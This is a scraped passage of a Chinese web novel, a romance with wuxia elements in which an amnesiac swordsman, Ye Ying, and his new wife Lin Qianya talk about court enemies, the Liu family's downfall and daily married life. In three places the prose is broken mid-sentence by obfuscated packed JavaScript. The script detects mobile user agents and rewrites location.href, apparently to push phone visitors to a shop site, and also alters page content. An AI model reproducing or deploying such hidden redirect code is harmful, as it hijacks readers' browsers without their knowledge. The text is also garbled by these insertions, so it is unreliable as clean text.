l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224185|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,四下都是模糊扭曲的影子,热闹,却触不可及,也找不到通往过去的路径。 直到遇到风停云。 那是在他伤势稍好,开始用香囊里那些银子解决食宿,并尝试在城内寻找那位林姓姑娘线索的时候。风停云自己凑上来的,在叶英安静吃饭的酒楼里,主动坐到了他对面。 “兄台,一个人?看你这气度,不是普通人吧?在下风停云,江湖散人一个,最爱结交朋友!”那人笑容爽朗,言语热情。 叶英只是抬了抬眼,没说话。 他看不见对方样貌,但能感觉到对方气息。呼吸略浮,脚步不够沉,内力只能说初窥门径。 但此人言谈间却自信满满,甚至有些顾盼自雄的味道。 风停云也不觉冷场,自顾自说开了。 他说自己数月前遭遇仇家,不幸跌落山崖,本以为必死无疑,没想到崖底别有洞天,不仅找到前辈高人遗留的功法,还吃了一枚奇异的朱果,功力因此大增。 “说来也是奇遇,”风停云侃侃而谈,“那功法仿佛天生为我准备,练起来毫无滞涩,如今等闲十来个人也近不了我身了!” 叶英静静听着,指尖无意识地在桌面上轻点了一下。 山崖,奇遇,功法,灵果……又是这种过于标准的故事。而且,风停云的气息,实在配不上他口中功力大增的描述。 叶英虽失忆,但对武功高低的感知仿佛刻在本能里。风停云的强流于表面,甚至有些外强中干。 但他却没说什么。 一来他本性就不喜多言,二来失忆让他对一切抱有谨慎的疏离。风停云自称江湖散人,热情邀他同游,甚至后来主动提出带他去香火最灵、消息也最通的护国寺走走,叶英都只是淡淡应了。 有人引路,总比他独自在迷雾中摸索强。至于风停云是否真如他自己所言那般奇遇加身,叶英也并不关心。 在他眼里,这人和街上那些上演戏码的少侠没有本质区别,只是更主动地闯入了他的视野。 香囊里的银子省着用,却足以支撑他一段时日。 他也并非漫无目的,那枚玉佩和林字香囊是唯一的线索。 他几次走上街头,凭着记忆中那缕药香和那日马车离去的方向,在可能的区域缓步而行,试图偶遇那位救他的小姐。 很奇怪,明明感觉她应该就在这座城的某个地方,几次徘徊,却总无收获。 人影幢幢,气息纷杂,唯独没有那缕药香和记忆中冷静自持的声音。 直到那日在云来居,楼上骚乱乍起,惊呼声中,那熟悉的气息骤然出现,伴随的却是急速下坠的风声。 找到了。 那一刻,眼前的迷雾似乎被撬开了一丝缝隙。 这个举止有度、在危难中救过他、又似乎被某种无形麻烦缠绕的相府小姐,成了他与这个怪异世界之间,第一个真实具体且有温度的连接点。 后来的坠崖,溶洞中的生死相依,她手腕上为救他而割开的伤口……一切将这条连接变得无比坚韧,直至此刻,她成了他名正言顺的妻子。 叶英低下头,下颌轻轻蹭了蹭林芊雅柔软的发顶。 这个世界依然透着种种难以理解的诡异,他的过去也依旧沉睡在迷雾深处。 但怀里的温暖是真实的,她的呼吸是真实的,他们之间经历过的生死与托付也是真实的。 这真实,为他在这光怪陆离的天地间,破开了一处可以立足的方寸之地。 至于其他……慢慢再看吧。 他收紧手臂,将怀中人拥得更妥帖些,终于让纷乱的思绪沉淀下来,合上了眼睛。 虚空之中,那个冰冷、毫无感情的声音再次响了起来,依旧是无人能够听见: 『检测到核心锚定完成……』 『男主记忆碎片关联度提升……』 『当前累计值:35/100』 『世界稳定性微幅上升。』 『下一阶段引导指令待生成。』 声音落下,虚空重归沉寂,仿佛从未存在过。 21. 其实…我第一次见你… 林芊雅是在一种陌生又温暖的包围中醒来的。 意识回笼的瞬间,她才后知后觉地想起,自己现在已经是人家的妻子了。 昨夜那些零碎又清晰的记忆片段猛地涌上来,让她耳根一下子烫得厉害。 她心里乱糟糟地想,怎么会这样呢?又觉得好害羞,自己怎么说也是堂堂丞相千金,什么阵仗没见过,怎么这会儿反倒扭捏起来了?不行,得有点当家主母的样子,不能露怯。 她一边在心里给自己鼓劲,一边小心翼翼地尝试从那个过于温暖的怀抱里挪出去。 身子才刚动了一下,环在她腰间的手臂就收得更紧了些。头顶传来叶英刚睡醒时带着沙哑的低问:“醒了?” 林芊雅脸上更热了,含糊地嗯了一声,恨不得把整张脸都埋进被子里去。 晨光透过纱帐,柔和地照亮了床榻。 这光线下,叶英的容颜比昨夜烛火摇曳时看得更加清晰。白发有些散乱地铺在枕上,衬得那张脸肤色愈发冷白,五官精致得不像真人,右额角那点殷红的梅花印记在晨光里显出一种惊心动魄的美。 林芊雅看着,一时又有些呆住了。 她不是不知道他生得好,可每次这么近地、毫无防备地看到,还是容易晃神。她一边在心里默默嫌弃自己没出息,一边努力板正脸色想显得端庄些。 叶英其实也没完全醒透,记忆依旧空茫,但看着怀里的人,看着她明明羞窘却还要强装镇定的样子,心里便莫名软了一下,觉得有些好笑,又有些说不清的怜惜。他抬手很自然地替她拂开颊边一缕碎发,声音温和:“还早。” 这话寻常,可在此刻情境下说出来,却让林芊雅心底漫上一丝甜意,随即又因联想到昨夜种种而更加羞赧,脸都快烧起来了。 两人就这么在床上静静躺了一会儿,气氛黏糊得让她心跳不稳。林芊雅到底脸皮薄,还是撑不住了,小声说:“该……该起了。” 叶英也没说什么,松开了手臂。 林芊雅如蒙大赦,赶紧唤了外间候着的春华进来伺候梳洗。 热水、帕子、干净的衣裳一一备好,两人洗漱更衣,过程里都安安静静的,只偶尔眼神碰到一起又迅速分开,空气里弥漫着一种新婚特有的、微妙的生涩与亲密交织的气息。 收拾妥当,两人便一同去前厅见林承泽。 林承泽早已坐在那里用早膳了,见他们进来,只抬眼看了看,脸上也没什么特别的表情,仿佛女儿昨日只是寻常出门、今日归来一般。 “爹。”林芊雅唤了一声,规规矩矩行了礼。叶英也在一旁躬身。 “坐吧,先用膳。”林承泽语气平淡。 一顿早膳吃得格外安静,只有碗筷轻微的碰响。林承泽没问他们夜里睡得如何,也没叮嘱什么新婚夫妇该如何相处的话,只简单问了几句叶英眼睛恢复得可还适应,又对林芊雅说了句“既已成家,日后行事更需稳妥”,便不再多言。 林芊雅知道,父亲这是把所有的话都在成亲前说尽了,此刻的沉默,既是放手,也是信任。 用过早膳,林承泽便摆摆手,让他们自回院子去。 走出前厅,阳光正好,照在相府的回廊上。林芊雅悄悄松了口气,可心里又有点空,好像一件很重要的事就这么平平淡淡地过去了。 叶英走在她身侧半步的位置,不说话,但存在感却很强。林芊雅偷偷瞄了他一眼,晨光落在他侧脸上,轮廓清晰。她忽然想起破庙里自己穿着嫁衣的样子,想起当时灰暗的心情,再看看现在走在他身边,心里一下子觉得踏实了,可踏实里头又绕着一丝说不清的酸涩。 还好是他。 两人就这么安静地走在回廊上。 林芊雅觉得该说点什么,又不知说什么好。问他眼睛看得清楚吗? 问他睡得好吗?好像都太刻意了。 她正胡乱想着,手忽然被旁边伸过来的手握住了。 叶英的手比她的大很多,手指修长,掌心温热,将她整个手都包了进去。他动作很自然,眼睛依旧平视着前方,好像只是随手一牵。 林芊雅心猛地一跳,手指下意识蜷了一下,却没抽出来。 脸上又开始发热,心里却好像被什么东西轻轻填满了,刚才那点空落落的感觉淡了不少。她悄悄调整呼吸,让自己别显得太紧张,手指也慢慢放松,任由他握着。 原来成了亲,走路也是可以牵手的。 这念头让她心里有点甜。但她还是不好意思转头看他,目光落在前面被阳光照得发亮的石板路上,嘴角却微微弯起一点。 叶英其实也没看起来那么平静。握她的手是下意识动作,做完了才觉得是不是太唐突。他记不起该怎么和妻子相处,只是觉得阳光不错,她走在身边很安静,便想这么做。 感觉到她最初那一下轻微的僵硬,他差点要松开,好在随后她就放松了。 他指尖能感觉到她手背皮肤细腻,也感觉到她指尖有点凉。他想起溶洞里她手腕上那道伤,心里便有些沉。他握着她的手,不自觉又收紧了些,像是想焐热那点凉意。 两人都没再说话,就这么牵着手,慢慢走完了那段不长不短的回廊。阳光把他们的影子投在地上,挨得很近。 两人牵着手走回院子,进了屋,春华奉上茶便退了出去,轻轻带上了门。 屋里一下静了下来,只剩他们两人。方才在回廊上那点脉脉的温情还在,可有些话,到底还是要摊开来说。 叶英先松开了手,却不是疏远,而是转身去关了窗。初秋的风还是有些凉意,依着她那不足的身子,他总觉得她怕是冷的,关上门也防止吹风受了寒气。 做完这些,他才走回她身边,却没再坐下,只是站着,目光落在她脸上。 林芊雅被他看得有些不自在,手指无意识地绞着袖口,轻声问:“夫君,怎么了?” 叶英顿了顿,似乎在斟酌词句,语气和缓,不像是质问,倒像是商量:“芊雅,有些事,我心里一直有些疑惑,想问问你。” 林芊雅抬眼看他:“你问。” “护国寺那次坠崖,”叶英开口,声音平稳,“我虽记忆不全,但也看得出,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224186|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并非意外,是冲着你来的。还有之前茶楼,这些事,是否都与你说的刘家有关?” 他问得直接,目光却一直看着她,带着审视,更带着一种我们如今是一体的坦然。 林芊雅心里一紧,知道他迟早会问。 她点了点头,又缓缓摇了摇头:“是,也不全是。” 她深吸了口气,像是下了决心,“夫君,有些事,我也该告诉你。” 她没直接回答,反而先起身走到门边听了听动静,又去窗边看了看确认下人都离得远,这才折回来,拉着叶英的袖子,引他坐到内室的屏风后头。 这里更隐蔽些。 两人在榻上坐下,挨得很近。林芊雅这才压低了声音,开口道:“其实……我第一次见你,不是在茶楼,也不是在崖底。” 叶英眼神微动:“哦?” “是在西郊官道,”林芊雅看着他,一字一句说,“你浑身是血,躺在路边,昏迷不醒。是我让车夫把你送到济世堂的。” 她咬了下嘴唇,声音更低了:“那时,你怀里掉出一块玉佩,上面刻着个葉字。还有……”她顿了顿,抬眼看他,“你当时身上,还穿着一件……金黄色的外袍,料子极好,上头缀着不少珠玉。” 叶英眉心几不可查地蹙了一下。 林芊雅继续道:“金黄色,在本朝是禁色,非皇室特许不得擅用。我……我当时怕惹祸,又见那衣袍染血扎眼,便让车夫悄悄烧了。只把那玉佩和装了银子的香囊留给了你。” 她说完,仔细观察着叶英的神色,“所以,夫君,你的来历……恐怕不简单。这些日子,可曾有人暗中寻过你?或者,你自己可曾想起什么?” 叶英缓缓摇头,脸上没什么表情,眼底却是一片深沉的茫然:“没有人寻我。我自己……也只零星记得叶英这个名字,还有……”他顿了顿,似乎在捕捉脑中闪过的碎片,“藏剑山庄……这个地方,你可曾听说过?” “藏剑山庄?”林芊雅仔细想了想,摇头,“未曾。我自小长在京城,对江湖门派知之甚少。不过,我可以让人暗中打听。既是山庄,又有藏剑之名,若在江湖上,总该有些名号。” 两人对视一眼,都从对方眼中看到了同样的困惑。线索似乎有,却又都断得干干净净,像一团乱麻,理不出头绪。 沉默了一会儿,叶英先开了口,将话题拉回眼前:“既然想不起,便暂且放下。说说刘家吧。你之前说,坠崖之事与他们有关,你与他们有仇?你还说……你让刘家覆灭了?” 他语气里带上一丝不易察觉的讶异和探究。 林芊雅听他提起这个,方才谈论他身世时的凝重神色倒是缓了缓,嘴角甚至弯起一点极淡的、近乎冷冽的弧度。“是,仇是有的。”她声音清晰起来,“至于搞垮他们……不过是以牙还牙罢了。”她看向叶英,眼神坦然,“这件事说来话长,而且,根子还不全在刘家身上,得从另一桩更早的旧事说起。” 她说到这里,停了下来,似乎在思考该从何说起。 叶英也不催她,只是安静地等着,目光始终落在她身上。 22. 那…我们便风雨同担 林芊雅停了片刻,像是在理清头绪,又像是在斟酌哪些该说哪些可以略过。 她抬眼看向叶英,目光清亮平静,声音也恢复了往常的稳当: “其实说到底,刘家不过是把明面上的刀。真正的原因,却在南安王府那边。” 叶英静静听着,没有打断。 “早年,我父亲还在户部时,与南安王在朝政上便有些龃龉,不是私怨,多是公事上的分歧。后来陛下登基,局面越发复杂,两家关系也就淡了。”林芊雅语气平淡,仿佛在说一件与己无关的旧闻,“只是两家早年曾有过婚约,定的……是我和南安王世子。” 她说到这里,略微顿了一下,手指轻轻蜷起又松开。 这事她本不愿提,觉得有些膈应,但既然要说明白,便不能完全绕过。 叶英目光落在她脸上,没有追问细节,只等她说下去。 “后来因着一些原因这婚约退了。”林芊雅语速快了些,一笔带过,显然不想多谈那个具体的人和事,“退了之后,两家便算是彻底撕破了脸。南安王府势大,在朝中党羽不少,刘家……便是其中之一,且是最急着表忠心的那个。” 她想起刘家后来那些明里暗里的手段,以及父亲在朝堂上日益艰难的处境,心里那点旧日的郁气便又浮上来一些,但她脸上依旧没什么波澜。 “刘家先是借着核查账目的名头,在户部给我父亲使了不少绊子。后来见效果不大,便把主意打到了我身上。”林芊雅说到这里,语气依旧平稳,只是眼神沉静了些,“他们大约觉得,我一个闺阁女子,又是这般病弱的身子,若是名声有损或是出了什么意外,对我父亲会是极大的打击。” 叶英听到这里,握着茶杯的手指微微收紧了些。 他想起官道上那身染血的黄袍,想起护国寺崖边崩塌的巨石。原来那些杀机,早在那时就已经悬在她头顶。 “所以,护国寺那次,是他们设计好的?”他问,声音听不出情绪。 “是。”林芊雅点头,“他们不知从哪里弄来模仿我父亲笔迹的信,引我出城。马车也是事先动了手脚。” 她顿了顿,抬眼看向叶英,声音里带了点极淡的、几乎听不出的歉意,甚至还有一点别人听不出来的担忧,担忧她在他心中也成了那样不择手段的形象。“所以那日连累你一同坠崖,实非我所愿。” 叶英摇了摇头:“你我之间,却不必说这些。” 他更在意的是,“你后来是如何应对的?你方才说,刘家覆灭了。” 提起这个,林芊雅的神色才稍稍有了些变化,不是得意,而是一种尘埃落定后的冷静。 “他们既用了这等下作手段,我便也没必要再留余地。” 她缓声道,“刘家在朝中多年,手脚本就不干净。贪墨修堤款项、纵容子弟横行不法、甚至与地方豪强勾连牟利……桩桩件件,都有迹可循。我不过是……让人把该知道的消息递到了该知道的人手里,再添了把火而已。” 她说得轻描淡写,但叶英能想象到,这背后需要何等精准的情报和对人心的算计、以及对时机的把握。这绝非易事。 他看着眼前这个身形单薄、面色苍白的女子,她只是安静地坐在那里,用最平静的语气,说着如何将一个煊赫一时的家族连根拔起。这份决断与力量,让他心中触动却又觉得理所应当——这或许才是真正的林芊雅。 “南安王府呢?”叶英问,“刘家倒了,他们不会善罢甘休。” “自然不会。”林芊雅道,“但刘家罪证确凿,民怨沸腾,陛下亲自下旨查办。南安王此刻若贸然动作,便是自寻麻烦。他最多……是记下这笔账,日后再寻机会。” 她说着,看向叶英,眼神清澈而坦诚:“所以夫君,你如今娶了我,便是卷进了这些是非里。南安王府,还有朝中其他与父亲不睦的势力,日后恐怕都会将你视作林家的一份子。这些麻烦,是我带给你的。” 她说完便静静等着他的反应。这话她必须说清楚,即便已成夫妻,她也不愿他有丝毫的勉强或后知后觉的怨怼。 叶英听完,脸上并没有什么惊讶或为难的神色。 他沉默了片刻,似乎是在消化这些信息,又似乎只是在确认自己心里的想法。然后,他抬起眼,看向林芊雅,语气是一贯的平稳,却带着一种清晰的笃定:“这些事,在你我成亲前,岳父大人已与我分说过利害。我既接了绣球,便是想清楚了。” 他顿了顿,声音低沉了些:“溶洞里,你背着我往外走的时候;你割开手腕的时候;这些麻烦,就已经是我的麻烦了。” “芊雅,”他第一次在这样清醒对话的场景下唤她的名字,“我或许记不起自己是谁,但从我决定留下开始,我便是你的夫君。你的麻烦,自然也是我的麻烦。” 这话他说得平铺直叙,没有华丽的誓言,却让林芊雅心里那块始终悬着的石头彻底落了下来。一股温热踏实的暖流,缓缓漫过心口。 她看着他平静却坚定的眼神,忽然觉得那些前尘旧怨和朝堂纷争,在此刻都变得不那么沉重了。 “嗯。”她轻轻应了一声,低下头掩去眼底微微泛起的一点湿意,再抬头时,已恢复了一贯的沉静,只是轻轻地把头靠了过去,埋进他怀里,“那……我们便……风雨同担。” 两人静静相拥了片刻,外头院子里隐约传来些细碎的声响,像是小丫鬟们压低了声音的嬉笑和走动。春华大约是在外头拦着人,声音不高却清晰:“……姑爷和小姐正说话呢,且等等……” 紧接着,便听见秋月带着笑意的声音,比春华亮些也更活泼:“知道知道,可不是来打扰的。只是前些日子晒的书都收整好了搁回书房了,来回小姐一声。再就是……”她顿了顿,声音里透出几分熟稔的促狭,“小姐该喝的药时辰到了,灶上一直温着呢。知道小姐和姑爷有说不完的话,可这药……总不好耽搁太久呀。” 林芊雅脸上刚褪下去的热度又腾地一下回来了。 秋月这丫头,仗着是家生子里头和她年岁最相近、几乎算是一处长起来的,说话便比旁人更随意些。 她这话里话外的意思,分明是打趣他们新婚燕尔,黏糊得忘了时辰。 她慌忙从叶英怀里坐直身子,理了理鬓发,对着门外啐了一口,声音里带着羞恼:“秋月!你如今是越发会当差了,连小姐什么时候喝药都要你来编排!快忙你自己的事去,少在这里讨嫌!” 门外秋月噗嗤轻笑了一声,倒也没走远,只道:“药给您放门口小炉子上温着了,蜜饯也备了一小碟。小姐您……慢慢喝,奴婢告退啦。”脚步声这才轻快地远了。 林芊雅被她这番作态弄得又羞又窘,转头看见叶英还坐在旁边,虽没什么表情,可那双清透的灰眸望着她,眼底似乎也有一丝极淡的笑意。她脸上更热了,嘀咕道:“这丫头……真是越发没规矩了。” 门外传来秋月毫不害怕的轻笑声,还有春华似乎在低声拦她。脚步声便渐渐远了,想是去端药了。 叶英在一旁听着,面上虽没什么表情,耳根却也有些微热。他并非不懂这些闺阁里的玩笑,只是他性子向来沉静寡言,更不习惯成为旁人谈笑的中心。此刻见林芊雅分明羞窘,却还要硬端着小姐的架子去训丫鬟,那强作镇定的模样,落在他眼里,非但不觉得恼,反倒生出些难以言喻的感觉,像是看着一只被踩了尾巴、还要努力维持端庄姿态的猫儿,有点好笑,更多的却是……可爱。 这念头让他自己都怔了一下。 他从未想过会用这样的词去形容一个人,尤其还是形容自己的妻子。可心底那份微妙的柔软,却又真实得很。 不多时,秋月便端着黑漆托盘回来了,这次规矩了许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224187|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只在门外禀报。 叶英没说什么,起身走到门边,将温着的药碗和那碟蜜饯端了进来。药汁浓黑,散发着一股熟悉的、令人舌根发苦的气味。 他将药碗轻轻放在林芊雅手边的矮几上。 一碗浓褐的药汁,热气氤氲,苦涩的气味立刻弥漫开来。旁边还配着一小碟晶莹的蜜饯。 林芊雅看着那碗药,几不可查地蹙了下眉。 她自小喝药,早习惯了那股苦涩滋味,以往都是屏息凝神,仰头一口气灌下去,再赶紧含一颗蜜饯压一压,方能缓过劲儿来。若是照着闺秀礼仪一小口一小口地抿,那苦味绵长不绝才是真的折磨人呢。长痛不如短痛。 可如今…… 她偷偷瞥了一眼端着药走回来的叶英。 新婚第一天,就在夫君面前这般豪迈地灌药,似乎不太雅观。世家女子,该是仪态从容,举止舒缓的,哪怕喝药,也该小口慢饮,显出教养来。 她心里挣扎了一下,到底还是那点女儿家的矜持占了上风。 于是,她端起药碗,用勺子轻轻搅了搅,然后舀起一小勺,送到唇边吹了吹,才缓缓喝下去。顿时,那股熟悉的、令人头皮发麻的苦味在舌尖炸开,迅速蔓延到整个口腔。她动作几不可查地顿了一下,强忍着没有立刻吐出来,勉强咽了下去,只觉得从舌头到喉咙都木了。 叶英静静看着她喝药。 他虽不通医术,也能闻出这药里用了不少温补固本的药材,药性想必不弱。见她喝得慢,只当她身子弱,需得缓着来,便也没多想,只是将盛着蜜饯的小碟子往她手边推近了些。 林芊雅哪里肯这时候就去拿蜜饯,那岂不是明摆着告诉他自己怕苦? 她硬着头皮,又舀起第二勺,动作依旧维持着大家闺秀的优雅,只是速度比方才更慢了些。 林芊雅一小勺一小勺,硬是喝了小半碗。 舌根早已苦得发麻,胃里也隐隐有些翻搅。 她后半程的时候便不着痕迹的加快了喝药的速度,力求尽快结束这种折磨快点获得一个畅快。 叶英的目光原本落在药碗上,此刻恰好抬起便注意到了他的身上,他自来心里细致万物自悟于心却最是敏锐不过了。 他微微怔了一下,随即恍然,心下有些好笑,又有些说不清的柔软。 原来不是喝得慢,是怕在他面前失态。 他想起溶洞里她毫不犹豫割腕喂血的狠劲,再看此刻她为了这点女儿家的面子活受罪的样子,心底那点好笑的感觉又涌了上来,同时夹杂着清晰的怜惜。 他其实并不觉得女子大口喝药有何不雅,反倒觉得她若真那么做了,才是真性情。可他也明白她此刻的顾忌。 于是他什么也没说,只是静静陪着,偶尔在她喝下特别艰难的一口后,适时地将蜜饯碟子再往她眼前轻轻挪近半分。 好不容易,一碗药终于见了底。 林芊雅几乎是立刻放下碗,迅速捏起一颗蜜饯放入口中,清甜的滋味勉强压下了那顽固的苦涩。她悄悄松了口气,感觉整个人都活过来了一些。 叶英见她吃完蜜饯,神色舒缓下来,才伸手将空碗和碟子收走,放到一旁的几上。 他转身时,恰好看见林芊雅又飞快地背过一点身子,脸都扭曲到皱在了一起的吐了吐舌头,那张苍白清丽的脸被苦味熏得皱了一下,又迅速恢复平静,仿佛刚才那一瞬的龇牙咧嘴只是他的错觉。 他脚步微顿,嘴角极轻微地向上弯了一下,又立刻抿平。 “歇一会儿?”他走回她身边,语气如常地问道,仿佛根本没看到她那点可爱的小动作。 林芊雅正忙着用茶漱口,闻言点了点头,耳朵尖还有点红,不知是苦的还是羞的。 她心里暗自懊恼,这药真是喝得丢人,下次……下次还是找个由头自己悄悄喝了吧。 23. 总不能委屈了相公 新婚几日过去,最初的羞赧虽未全然褪尽,林芊雅却也习惯了许多。 只是她总还想在夫君面前多维持些端庄的模样,私下里一些被父亲宠出来的小习惯便都强压着忍了。 比如她其实惯爱赖床,父亲每日上朝起得早,又疼惜她身子弱,从不拘着她何时起身。 可如今做了新妇,她便总惦记着不能太晚,怕失了体统,被人说闲话。 每日天色微亮,意识将醒未醒时,总能感觉到身边人轻缓的动静,叶英总是起得比她早,却不惊动她,只悄无声息地起身,有时在外间静坐,有时在院中看花。 她心里知道他是体贴,便也闭眼假寐,等他出去了,才悄悄松口气,放任自己再贪恋片刻被褥的温暖。 这贪睡,一半是因着天生体弱精神不济,另一半……她想起夜里那些亲密的纠缠,脸上又悄悄热起来。 叶英并非重欲之人,甚至可说是极为克制,动作间总是小心翼翼,留意着她的神色,生怕弄疼了她,与其说是索求,倒更像是一种细致的呵护与亲近。 她虽懵懂羞涩,却也并非全然无知,能感受到那份珍视。 只是这样一来,她夜里歇得便不如从前安稳,眼皮沉甸甸的,总想再赖片刻。这大概便是夫妻之间应有的样子吧?只是夜里这般耗费心神,晨间自然更觉困倦,起得便越发迟了。 她不知道的是,叶英其实早已看穿她那点强撑的端庄和赖床的小心思。 每每见她闭着眼睫毛却微微颤动装睡的模样,他心里便觉得有些好笑,又有些说不清的柔软。到底还是个半大孩子,却要处处做得周全。他从不点破,只装作不知,由她去。 这日清晨,她又是在一阵细微的动静中半梦半醒。 意识回笼时,身边已然空了,只余枕畔微凹的痕迹和一丝极淡的海棠气息。她心里松了口气,又有点空落落的,便顺势蜷了蜷身子,想着再躺一小会儿,就一小会儿…… 外间传来极轻的脚步声,是春华进来查看。见她似乎还睡着,便又悄声退了出去,还细心地将门帘放下了些。 林芊雅闭着眼,耳根却慢慢红了。 她其实醒了,只是贪恋这被窝里最后一点暖意和慵懒。 叶英想必是早就起身了,他向来警觉,动作又轻。他是不是也察觉了自己这点赖床的小心思? 这念头让她有些羞窘,又有点说不清的甜。他从未说破,甚至不曾催过她,总是静静地等她自行起身。这份无声的纵容,比任何言语都让她觉得安心。 又磨蹭了一小会儿,她才真正起来梳洗。 用过早膳,春华捧着新到的几匹衣料来回话,她挑了匹天青色的软烟罗,想着给叶英做件夏日的里衣,透气又舒适。吩咐下去后,她便倚在窗边的软榻上,随手拿了卷书,目光却不自觉地飘向窗外。 院中那棵老海棠树下,叶英正静静立着。他今日换了身素白的窄袖常服,长发用一根简单的木簪束起,怀里抱着他那柄剑,目光落在纷纷扬扬的落花上,不知在想些什么。 那身姿挺拔如松,侧颜沉静,竟让满树繁花都成了陪衬。 他如今记忆全无,身无长物,说是娶妻,眼下瞧着倒像个被妻子养着的闲散人。 他心里并非没有茫然,这片空白的过去和眼下看似安稳却暗藏纷扰的现状,像一团浓雾堵在胸口。 他想不起自己能做什么,该做什么,似乎唯一熟悉的,便是手中这柄剑。 可就连这剑术,于他而言也熟悉得过分,仿佛与生俱来,甚至无需刻意习练,心念微动,招式便了然于胸。这种无所不能的娴熟感,反而加深了他的困惑与疏离。 林芊雅看着,一时有些出神。 他好像总喜欢看这些花花草草,或是庭院里的景致,一站就是许久。 问他,他便说看着舒心,或许能想起些什么。 她知道他心底的茫然,一个没有过去、无所依傍的人,整日困在这方庭院里,即便她与父亲从不说什么,他心里也未必好受。 她见他时常擦拭那柄剑,动作熟稔得仿佛做过千百遍,有时只是虚虚比划几下,并未真正演练,周身却会不自觉流露出一股沉凝的气息。 她不懂武功,却也看得出,那绝非生手能有的姿态。他似乎在用这种方式,确认着自己与剑之间那割不断的联系。 正想着,春华放轻脚步凑近,顺着她的目光望去,抿嘴一笑,压低声音道:“小姐,您瞧姑爷这身姿,真真是好看极了。” 林芊雅蓦地回神,脸上微热,忙收回目光,故作镇定地翻了一页书,声音却比平时快了些:“走什么神呢?今日让你去采买的布料可都齐全了?眼瞅着天要热起来,这些春衫都透着寒气了。” 她顿了顿,强行将话题拉回正事,声音才自然了些,“记得多扯几匹适合男子的料子,给姑爷也多裁几身新衣。要透气轻薄的。” 春华笑嘻嘻应了声是,眼珠一转,却又眨眨眼,带上了几分熟稔的促狭:“给姑爷裁衣自然应当。只是……奴婢愚钝,拿不准姑爷的详细身量尺寸。小姐您定然是最清楚的,不如您细细告诉奴婢?免得裁错了,白白糟蹋了好料子。” 这话里的打趣意味太过直白,林芊雅的脸腾地一下就红了,羞恼地拿起手边的书卷作势要打她:“坏死了!就你话多!尺寸……尺寸我晚些画给你!还不快去办正经事!”力道却轻柔,只惹得春华咯咯笑着躲开了。 院中,叶英耳力极佳,廊下主仆俩的低语笑闹听得清晰。 哪怕隔着一段距离,那句“小姐您定然是最清楚的”和随后林芊雅那带着羞窘的轻斥,都一字不落地飘入他耳中。 他抱剑的手臂几不可查地微微一顿,面上依旧沉静无波,目光却不易察觉地柔和了几分,唇角似乎弯起一个极淡的弧度。 到底还是年纪小,脸皮薄。 他虽想不起自己具体年岁,但看她这般情态,心底便自然而然生出一种年长者的温软与怜惜。 他乐意见她这般流露出些许孩童气的模样,毕竟平日里她总是太过聪慧冷静,思虑周全得不像个才十六七岁的姑娘。 幼年失母,早早掌家,那份沉稳背后是多少不得已的成长。 他信任她的能力,可作为夫君,这份心疼也是真切切的,只是他素来寡言,更习惯将这些情绪放在心里,便也开口说不出什么,只能握紧手中剑,希望能替妻子扛下这一切。 林芊雅目送春华跑远,脸上的热意半晌才退。 她转身想回内室,目光不经意扫过挂在床边屏风上的那件玉白色外袍,肘部有一道不甚起眼的撕裂痕迹,像是被什么勾了一下。 她走近细看,指尖轻轻抚过那处破损,心下微微一叹。 初见时他虽浑身血污,但那身破损衣物的料子与绣工,细看却极为考究,非寻常人家能有。如今他身上所穿,还是她当初让丫鬟按着大概尺寸匆忙置办的,料子虽也不错,但比起他原先那身,显然简朴了许多。 她留下的那三十两银子,对普通百姓是笔巨款,但对一个可能需要购置兵器、药材,甚至探听消息的江湖人而言,怕是远远不够。他怀中那柄剑,看着锋利,却也只是铁匠铺的寻常制式,刃口已见细微磨损。 总不能委屈了自己相公。 林家最不缺的便是银钱和好东西。一个男子在外行走,岂能没有傍身的利器与体面的行头? 她当即决定,晚些便去父亲私库里好好寻一寻。她记得那里收着几柄极好的古剑,只是不知合不合他用。此外她走到妆台边,打开一个抽屉,取出一个早就备好的锦囊,里面是几张整整齐齐的银票并一些碎银,足有五百两。她想着晚间一并给他,男子出门在外,身上有些宽裕银钱总是方便些。 她手头倒从不缺钱。 父亲自母亲去后,便将家中 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秋月绣工更好,也更熟练。可林芊雅也说不上来为什么,就是不太愿意将这活计假手于人。哪怕只是缝补一道裂口。 于是她低着头,就着窗外明亮的天光,拈针引线,细细缝补起来。针脚细密匀称,沿着撕裂的纹路小心走线,尽量不露痕迹。 秋月在一旁看着,先是一愣,随即眼中漾开笑意,没作声,只悄悄挥手让旁边一个小丫头去厨房看看小姐今日的补药熬得如何了。她自己则取了把团扇,轻轻站在林芊雅身侧,为她扇起凉风。六月天屋里虽不很热,但久坐低头,难免有些闷。 约莫小半个时辰,那处破损已修补得七七八八,几乎看不出原样。 林芊雅轻轻舒了口气,抬起头,却觉得眼前微微发花,气息也有些短促。 自小胎里带来的弱症,底子便薄,年前溶洞中为救叶英失了那么多血,又受了寒气,更是伤了根本。大夫再三叮嘱需长期静养温补,切忌劳神耗心。这每日雷打不动的两碗补药,便是为此。 正巧秋月吩咐的小丫头端了药进来。浓褐的药汁盛在白瓷碗里,苦涩的气味弥漫开来。 